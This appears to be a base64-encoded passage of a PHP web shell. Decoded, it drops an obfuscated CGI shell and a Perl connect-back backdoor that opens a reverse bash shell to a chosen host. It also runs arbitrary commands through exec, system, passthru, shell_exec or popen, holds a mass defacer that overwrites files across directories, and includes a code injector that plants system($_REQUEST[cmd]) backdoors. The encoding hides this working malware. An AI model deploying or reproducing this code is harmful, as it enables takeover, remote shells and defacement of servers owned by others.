bS83T0FmeFFUeEVKOW94aWo5NTJyOG02cHRLTnR0MU90RmxSdkhyWnR6ci9MY05HRzRVNzFvZmJvUlhxOTdwNHJSSEdMU0hycXh4Tkl5TDdGSlNzVElhdXg4R1dNSFY2dlhhazNBRDJLWU5qbXBIQzQvTks1ODcyaW15UVJEbXFzTHZDcVlEZEtEWGpYU2RaYlZZZFJFVSt1WmpNSUd0YVVPNXVPYW11TUFJL0FJd1R5c0NBMzN0bTVRelQ5WlF1UlViY21wQzBud2hpRVlJbXFHV1dGZWZUNG92MVF4Sjl1Z2tITGJ6SmtyQkhFb1daM2pUM091VFJvV21mRkR3VlVDSVlXQiszRUk3OERmclNZcWNleWszRHJsdXQ0NFdHNUw3YzRkQldVWEpWS1Y2azg2QjBxUFpwTTh1ZDJnYktCUzdsL0loTmVZZ2R1SkE5dDNybEVoamVaNmhMbkF0N3NlUlJHV0kzQTQrdEFid2l6bUF3NFJKZlFlcUVoMHVLTFZTakVObDVnOGFqeXFMQ2tjNmxFOU1Yb0hmZ0lHQTRDcGJkOWM4UzN3WlRmTHY0c3N5ZG5aTjFKSGMyNEtHeUVGQU9Ub0tMaVZvdXg1TVVrSHcvNU12d05JaWpMbERTWnNQanE5dThHTWV4Uk9xQ1hONVl4OVlia2c0WEo0TC9EN0xvQlVQT0dYRXdOVTYwekN4bjR2bHNzdzlpV2EraXBKZEhmSkpFMGswWWxwL0Nia3BzSUJCeHUvZlp0d1pvZUF1WUs3c0tBSGYxUEg5NWt3SVdhcjQybFZzTkNYYjFwbGlrOElDamVLSVluZkhDTFh2M2s5RkZ0QXlvbGg3QlF1WFVjdm1QeXVJMHhVZVFNR25qR25TdXpmeExqM1ZOSUlqcUdsRlN2SWl6cnZ4dzQ5QlNOSGlLbkhUUVNZRXZtTkN0d0VLVG1GVjNxQVQrajc1ZTlRQVBrS3YvOHZWZmo5SElWdm9QdmUycDdVRzNISVhkUjUvNmVvODIvRS9kM1ZPZlczQXJQaHRHcStTVE5MeGF6a0ozRTlEOTNIdysvcFVXUXhSVU5HbHN5cDhBNmFIZ0ZlRjR0bHM5YnpTbDNNVk1sUEtXVjZ3dFhrbEV4VjhqTXZyQWl2OFFUT0dhcHYya283aldaMlRBMGIyUWxHbHV1ZnFvdGk2RUtRa2wzSHIxR0ZGZWxZTUhLa1hVWG1LTkx4b1lJVGhqd21HQzRTOVB4UEVlUG5na1U1eEI1dFR0QXVwdmdvVjRyTVNWZHlRTXlla29NcWgwbi95K1RxejZxeCtpUG52djMrR3E1VkMrN0hwdGtDWVRIckhpbnFObFpHWUhDSHZ1WEdCQ3hSMEtneGx0aXVUenpiZjFlTTJkWTFlc05pNUxRS2F3ZGhlRTMxVXFaaWNzMWE3d2RNaXlOWTFHc0FPcTRMZFVCckIrMm9xdWYxRXVsNnhzdDBvdXA0Wmk1Y2xKeHQyajJCanlmVWtLS0pUUno4VE5FVHE3LzgvaWxRZTUwbGVCWFhlTFBQTlc0cXpjM1NWcUtKTDEvbzVXbkVubmlOSWhoRmtkclFhMGdyS01CQkZYaFRiUllhR3lOazNaWGZycnpQQmtzdkpoWlllSzI4STZLemZNbGh0ZjVZbTBBcFE0ZG5GT2NDaWdCU1ZReWIwMDhkRUZGNHpsemRwNTNSSVJmMVRPVE1uTGN0SnJhZDBoM1QycTY0OGZNVUc5ZG93V0NHdW94cVI1NjlYM1M1eEM2bHVlTmlLS0dsNlVwb3FYNnJFc0lJWnhpL0VzeDRhTWpHT0V0WlhiU1VIWE55RldKaXJFcnJBbHpxUml5blJKNC84UVg0MjFiR1VLWGpJTzBGZzJacHJsaWJSR0dOdGdscjFoalVoQU12ZzZoR2tZby93R094UXRJekxaL1Z3eHMyYnN5NFZNT1JwWWF5SWdZWm1mUFN3cHdEbnBUVFpETDl4cVo2WURNNjN1MndtL251QUR2UEdFM0d3L0h0RmQ3U0hLcW11NEQvdy9zSlZxRGpSODVkY3VLQjN6dmt5M1lGU1NWeThGOUVhVGV2SXNBbGdOVEYzMVhYZC9OenJPWm1rUXd4dW83Kzhmai9pMTNYcitZeERhVk9UN0VKZTlQVGJ5c3ZXbys4NENxVGFVcFI2SkFzV3UwWllvQmozQTBKeGllMUhTZldyV2s3RDZkUXl2anlObElqUGtCQjU4aEo0TTFCSDcwMHhDZTVBRUpWQ1ZWMDlOd1luZE8rRldiR3ROWVVLakoweE83Y3R1WDNIRS9tU2xudktac2RjK0UvY1o0MmNXNkhXbGI3am9telpXTGtUWnhER3dlUlBFT2t0aWI1dTlxWmhON0RSTHFzUjJmVlJQb2dVLzVaS21YRlVVWGlZemE0WWVJTVUyeTVIbHZFNDk5MVRwc3ZiQkE2WXpERWh3RXVndkVTZkpkeHRWNU1COTI0QzRSVHowL0IzRU44blZydGR4MjQ2NW54TDFudDJ5cStSekRLVkJQbThTOFRTWnhiMCtlbGtnZW01SjJzWWk2Wk5LdHlKNUtLaDMrU2ZmVUNKenJIWVRBSXJSRmJGUEg4Y2VHd3pXOEl3MXRtWjlBdzkwNTBMSnNXeWpiRWgzMG4zZzZDQzllSkNKbXAvWHhjNXVRbjM3WlBXc2VkRDRlYkwzYkp3ZHNNdE5wTW5vN1RlUTV3REpJSEdxV24rSmluSmFLdnB2eUZ5Vk9jTzRpbjdrSVJkeXJ4S3VUZEllSnJ3TDl1eWtWWStzanZYVEkvNXpFNDJwVWlROXFKZklQTjQvVTFZbW5YdUwwR1Q2clpUdDhDVHFGNzdkUTFZdVpOQjhaRlBQSnVEcGlSZUo1NVNRVUFkL1B0RFVuczhEMUc3SnNOS0tMd25QTnNaUFdnWFgrWWp1cnZPeE4yZ1hlRjQzMWdRNHpsL3lpQiszdUY4V2VwSVAwWlZGSEFzcnliRThnSDhpOStvWXlSbGxNQjU1cUJZN2VJaElJMWdiYzJ6M1ozanM5M2VHQ2RnbVFxS3BGSFBUSi9CTmhmdnJCSHF0WXl3OHNQS0xxZDd6aDJWQk8zaGxBQlBpZmhxOGxPaUVxSVdCZzFnZGh0VGJlamZWR0FUL1pQVythMUtMcXUzS3VKYk4zcjNNRHl0QVRiMUVjbjhGV0c3a0ZRNkFONk05Zk5nZittVW5JWEl6ZWtaUHFPSG1xRWlvdW1aSFJSYysvWXZERVh0YW9NeGdzVEtlZlJ0Q3NzaktVQ1pZM2NWaUd0MkR4aXI0TUpzOUZDb2V0N3hzcEJJYnBUWTZtcE50K2JSeXp4WngzR2liL25oZmlSSmhmUGtieXFxU0xLbVg0MjM0bWdsTFUyUSt3WWVPR0x2Qnd2K0d6aWhkYWFwK0dsRUk2U2wwUVo3TVdMU3VaRi82RndaT0RKZEoySGhMek9RekhwTHc4NS9nK3pJZnd6TVM3YVFnUUlCei9TYXBBMFJlY2t4cTR5Z3N1a1NsTzMxK0VhaHFWdjRiaEZGZlVNVldTQWs3eHBhT01tbUhSby9Ta0FVYlJzUzF6Zk5RMGN3V2VKTzEzRVdFZFhLRmJVbFlvNDlFbTIrejdxSjlaNFowZjNxWlNlTnJMd3UwL2w0RUwrY21tY0ptNnkvVllpNjF0aWJ3QW1HWUNEZzVPR0J2T29LQzlCeURBL3cvTld0ME9XQ3JhUkJsRWUvcnNKd0hSVVY0SXhBNklPaEhzekU1cU42L2g4TjdTdmR2cHVRRkRxUmtrT2dkR1NlWG5pRFUxUm1Cd3dWMjVxaW53S2NFNTZ1N3daQUlpVldhNStwbmFVdGpCMHVOcGNSUFAyY1ZNTXY5ZDRvWHZCb1hlN2JrQUY5RENZeERjaGd1Zkl0ZXY0elR4ZnhUeElRYlFYQkRFMCtyOD0nOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZmlsZSA9IGZvcGVuKCJpem8uY2luIiwgIncrIik7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR3cml0ZSA9IGZ3cml0ZSgkZmlsZSwgaHRtbHNwZWNpYWxjaGFyc19kZWNvZGUoZ3ppbmZsYXRlKGJhc2U2NF9kZWNvZGUoJGNnaXNoZWxsaXpvY2luKSkpKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZmNsb3NlKCRmaWxlKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgY2htb2QoIml6by5jaW4iLCAwNzU1KTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJG5ldGNhdHNoZWxsID0gJ0l5RXZkWE55TDJKcGJpOXdaWEpzRFFvZ0lDQWdJQ0IxYzJVZ1UyOWphMlYwT3cwS0lDQWdJQ0FnY0hKcGJuUWdJa1JoZEdFZ1EyaGhNSE1nUTI5dWJtVmpkQ0JDWVdOcklFSmhZMnRrYjI5eVhHNWNiaUk3RFFvZ0lDQWdJQ0JwWmlBb0lTUkJVa2RXV3pCZEtTQjdEUW9nSUNBZ0lDQWdJSEJ5YVc1MFppQWlWWE5oWjJVNklDUXdJRnRJYjNOMFhTQThVRzl5ZEQ1Y2JpSTdEUW9nSUNBZ0lDQWdJR1Y0YVhRb01TazdEUW9nSUNBZ0lDQjlEUW9nSUNBZ0lDQndjbWx1ZENBaVd5cGRJRVIxYlhCcGJtY2dRWEpuZFcxbGJuUnpYRzRpT3cwS0lDQWdJQ0FnSkdodmMzUWdQU0FrUVZKSFZsc3dYVHNOQ2lBZ0lDQWdJQ1J3YjNKMElEMGdPREE3RFFvZ0lDQWdJQ0JwWmlBb0pFRlNSMVpiTVYwcElIc05DaUFnSUNBZ0lDQWdKSEJ2Y25RZ1BTQWtRVkpIVmxzeFhUc05DaUFnSUNBZ0lIME5DaUFnSUNBZ0lIQnlhVzUwSUNKYktsMGdRMjl1Ym1WamRHbHVaeTR1TGx4dUlqc05DaUFnSUNBZ0lDUndjbTkwYnlBOUlHZGxkSEJ5YjNSdllubHVZVzFsS0NkMFkzQW5LU0I4ZkNCa2FXVW9JbFZ1YTI1dmQyNGdVSEp2ZEc5amIyeGNiaUlwT3cwS0lDQWdJQ0FnYzI5amEyVjBLRk5GVWxaRlVpd2dVRVpmU1U1RlZDd2dVMDlEUzE5VFZGSkZRVTBzSUNSd2NtOTBieWtnZkh3Z1pHbGxJQ2dpVTI5amEyVjBJRVZ5Y205eVhHNGlLVHNOQ2lBZ0lDQWdJRzE1SUNSMFlYSm5aWFFnUFNCcGJtVjBYMkYwYjI0b0pHaHZjM1FwT3cwS0lDQWdJQ0FnYVdZZ0tDRmpiMjV1WldOMEtGTkZVbFpGVWl3Z2NHRmpheUFpVTI1Qk5IZzRJaXdnTWl3Z0pIQnZjblFzSUNSMFlYSm5aWFFwS1NCN0RRb2dJQ0FnSUNBZ0lHUnBaU2dpVlc1aFlteGxJSFJ2SUVOdmJtNWxZM1JjYmlJcE93MEtJQ0FnSUNBZ2ZRMEtJQ0FnSUNBZ2NISnBiblFnSWxzcVhTQlRjR0YzYm1sdVp5QlRhR1ZzYkZ4dUlqc05DaUFnSUNBZ0lHbG1JQ2doWm05eWF5Z2dLU2tnZXcwS0lDQWdJQ0FnSUNCdmNHVnVLRk5VUkVsT0xDSStKbE5GVWxaRlVpSXBPdzBLSUNBZ0lDQWdJQ0J2Y0dWdUtGTlVSRTlWVkN3aVBpWlRSVkpXUlZJaUtUc05DaUFnSUNBZ0lDQWdiM0JsYmloVFZFUkZVbElzSWo0bVUwVlNWa1ZTSWlrN0RRb2dJQ0FnSUNBZ0lHVjRaV01nZXljdlltbHVMM05vSjMwZ0p5MWlZWE5vSnlBdUlDSmNNQ0lnZUNBME93MEtJQ0FnSUNBZ0lDQmxlR2wwS0RBcE93MEtJQ0FnSUNBZ2ZRMEtJQ0FnSUNBZ2NISnBiblFnSWxzcVhTQkVZWFJoWTJobFpGeHVYRzRpT3c9PSc7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRmaWxlID0gZm9wZW4oImRjLnBsIiwgIncrIik7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR3cml0ZSA9IGZ3cml0ZSgkZmlsZSwgYmFzZTY0X2RlY29kZSgkbmV0Y2F0c2hlbGwpKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZmNsb3NlKCRmaWxlKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgY2htb2QoImRjLnBsIiwgMDc1NSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjxpZnJhbWUgc3JjPWFuMG5fY2dpL2l6by5jaW4gd2lkdGg9JzEwMCUnIGhlaWdodD0nMzYwJyBmcmFtZWJvcmRlcj0wPjwvaWZyYW1lPiAiOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID8+DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKGlzc2V0KCRfR0VUWydleGVjJ10pKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID8+PGNlbnRlcj48YnI+PHNwYW4gY2xhc3M9ImRlZiI+Q29tbWFuZHM6PC9zcGFuPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJQT1NUIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGV4dGFyZWEgcm93cz0iOCIgY29scz0iNzAiIG5hbWU9ImNvbW1hbmQiIHBsYWNlaG9sZGVyPSJDb21tYW5kcyBIZXJlIj48L3RleHRhcmVhPjxicj48YnI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0ic3VibWl0IiB2YWx1ZT0iRXhlY3V0ZSI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZm9ybT4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCFlbXB0eSgkX1BPU1RbJ2NvbW1hbmQnXSkgJiYgaXNzZXQoJF9QT1NUWydzdWJtaXQnXSkpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmdW5jdGlvbiBleGVjdXRlKCRpbikgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJG91dCA9ICcnOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYoZnVuY3Rpb25fZXhpc3RzKCdleGVjJykpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBAZXhlYygkaW4sJG91dCk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJG91dCA9IEBqb2luKCJcbiIsJG91dCk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9ZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygncGFzc3RocnUnKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIG9iX3N0YXJ0KCk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQHBhc3N0aHJ1KCRpbik7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJG91dCA9IG9iX2dldF9jbGVhbigpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfWVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ3N5c3RlbScpKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgb2Jfc3RhcnQoKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBAc3lzdGVtKCRpbik7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJG91dCA9IG9iX2dldF9jbGVhbigpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfWVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ3NoZWxsX2V4ZWMnKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRvdXQgPSBzaGVsbF9leGVjKCRpbik7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9ZWxzZWlmKGlzX3Jlc291cmNlKCRmID0gQHBvcGVuKCRpbiwiciIpKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRvdXQgPSAiIjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB3aGlsZSghQGZlb2YoJGYpKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkb3V0IC49IGZyZWFkKCRmLDEwMjQpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHBjbG9zZSgkZik7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gJG91dDsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRjb21tYW5kcyA9ICRfUE9TVFsnY29tbWFuZCddOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRyZXN1bHQgPSBAZXhlY3V0ZSgkY29tbWFuZHMpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzxicj48dGV4dGFyZWEgcm93cz0iOCIgY29scz0iNzAiPicuJHJlc3VsdC4nPC90ZXh0YXJlYT4nOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPz4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmIChpc3NldCgkX0dFVFsnZGVmYWNlciddKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPz4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGNlbnRlcj48YnI+PGZvbnQgc3R5bGU9ImZvbnQtZmFtaWx5OiBjdXJzaXZlOyBmb250LXNpemU6IDE3MCU7IGNvbG9yOiByZWQ7Ij5BbjBuIE1hc3MgRGVmYWNlciA8L2ZvbnQ+PGJyPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8Zm9ybSBFTkNUWVBFPSJtdWx0aXBhcnQvZm9ybS1kYXRhIiBhY3Rpb249IiIgbWV0aG9kPVBPU1Qgb25TdWJtaXQ9ImcobnVsbCxudWxsLHRoaXMucGF0aC52YWx1ZSx0aGlzLmZpbGUudmFsdWUsdGhpcy5Db250ZW50cy52YWx1ZSk7cmV0dXJuIGZhbHNlOyI+PHNwYW4gY2xhc3M9ImRlZiI+Rm9sZGVyOjwvc3Bhbj4gPGJyPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJwYXRoIiBzaXplPSI2MCIgdmFsdWU9Ijw/cGhwIGVjaG8gZ2V0Y3dkKCk7ID8+Ij4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGJyPjxzcGFuIGNsYXNzPSJkZWYiPkZpbGUgbmFtZTo8L3NwYW4+IDxicj48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iZmlsZSIgc2l6ZT0iMjAiIHZhbHVlPSJ0ZXJ4Lmh0bWwiPjxicj48c3BhbiBjbGFzcz0iZGVmIj5Db250ZW50Ojwvc3Bhbj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGJyPiA8dGV4dGFyZWEgdHlwZT0ndGV4dCcgbmFtZT0nQ29udGVudHMnIGNvbHM9IjYwIiByb3dzPSI4IiBwbGFjZWhvbGRlcj0iRGVmYWNlIFBhZ2UgSGVyZSA6KSI+PC90ZXh0YXJlYT4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGJyPjxpbnB1dCB0eXBlPXN1Ym1pdCBuYW1lPSJzdWJtaXQiIHZhbHVlPSJEZWZhY2Ugbm93Ij48L3A+PC9mb3JtPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydwYXRoJ10pICYmICFlbXB0eSgkX1BPU1RbJ2ZpbGUnXSkgJiYgIWVtcHR5KCRfUE9TVFsnQ29udGVudHMnXSkgJiYgaXNzZXQoJF9QT1NUWydzdWJtaXQnXSkpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkbWFpbnBhdGggPSAkX1BPU1RbInBhdGgiXTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZmlsZSA9ICRfUE9TVFsiZmlsZSJdOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR0eHRDb250ZW50cyA9ICRfUE9TVFsiQ29udGVudHMiXTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZGlyID0gb3BlbmRpcigkbWFpbnBhdGgpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHdoaWxlICgkcm93ID0gcmVhZGRpcigkZGlyKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzdGFydCA9IEBmb3BlbigiJHJvdy8kZmlsZSIsICJ3KyIpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRjb2RlID0gJHR4dENvbnRlbnRzOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRmaW5pc2ggPSBAZndyaXRlKCRzdGFydCwgJGNvZGUpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkZmluaXNoKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiPHNwYW4gY2xhc3M9J2RlZic+aHR0cDovLyRyb3cvJGZpbGU8L3NwYW4+PGJyPiI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID8+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmIChpc3NldCgkX0dFVFsnbWFzc19pbmplY3RvciddKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA/Pjxicj48Y2VudGVyPjxicj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGZvbnQgc3R5bGU9ImNvbG9yOiB0ZWFsOyBmb250LWZhbWlseTogY3Vyc2l2ZTsgZm9udC1zaXplOiAyMDAlOyI+UmVWIE1hc3MgQ29kZSBJbmplY3RvciBWMi4wPC9mb250Pjxicj48YnI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9IlBPU1QiPg0KICAgICAgICAgICAgICAgICAgICAgICAgPD9waHANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGNvbnNvbGUgPSAnDQo8P3BocA0KaWYgKGlzc2V0KCRfUkVRVUVTVFtjbWRdKSkgew0Kc3lzdGVtICgkX1JFUVVFU1RbY21kXSk7DQp9DQo/Pic7DQogICAgICAgICAgICAgICAgICAgICAgICA/Pg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGV4dGFyZWEgdHlwZT0idGV4dCIgbmFtZT0iY29kZSIgcm93cz0iMTMiIGNvbHM9IjgwIiBwbGFjZWhvbGRlcj0iRW50ZXIgWW91ciBDb2RlIExpa2UgVGhpcyA6IDw/cGhwIGVjaG8gJGNvbnNvbGU7ID8+Ij48L3RleHRhcmVhPjxicj48YnI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCBzdHlsZT0iZm9udC1mYW1pbHk6IENvbWljIFNhbnMgTXM7IGZvbnQtc2l6ZTogOTAlOyIgdHlwZT0ic3VibWl0IiBuYW1lPSJzdWJtaXQiIHZhbHVlPSJTdWJtaXQiIC8+DQogICAgICAgICAgICAgICAgICAgICAgICA8L2Zvcm0+DQogICAgICAgICAgICAgICAgICAgICAgICA8P3BocA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydzdWJtaXQnXSkpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkY29kZSA9ICRfUE9TVFsnY29kZSddOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRjb2RlMSA9IGJhc2U2NF9lbmNvZGUoJGNvZGUpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwYXRoID0gZ2V0Y3dkKCk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGhvc3QgPSAnaHR0cDovLycuJF9TRVJWRVJbJ0hUVFBfSE9TVCddOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwYXRoX29mX2ZpbGUgPSAkX1NFUlZFUlsnU0NSSVBUX05BTUUnXTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkd2Vic2l0ZV90ZXN0aW5nID0gJGhvc3QuJHBhdGhfb2ZfZmlsZTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcGF0aCA9IGdldGN3ZCgpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg